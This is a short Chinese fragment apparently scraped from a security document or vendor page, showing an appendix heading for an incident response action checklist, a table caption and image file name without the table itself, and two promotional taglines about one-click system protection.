附录 C 响应动作检查表

表 C-1 响应动作

表 D-1 响应动作.png


安全无忧,一键开启

全面提升您的系统防护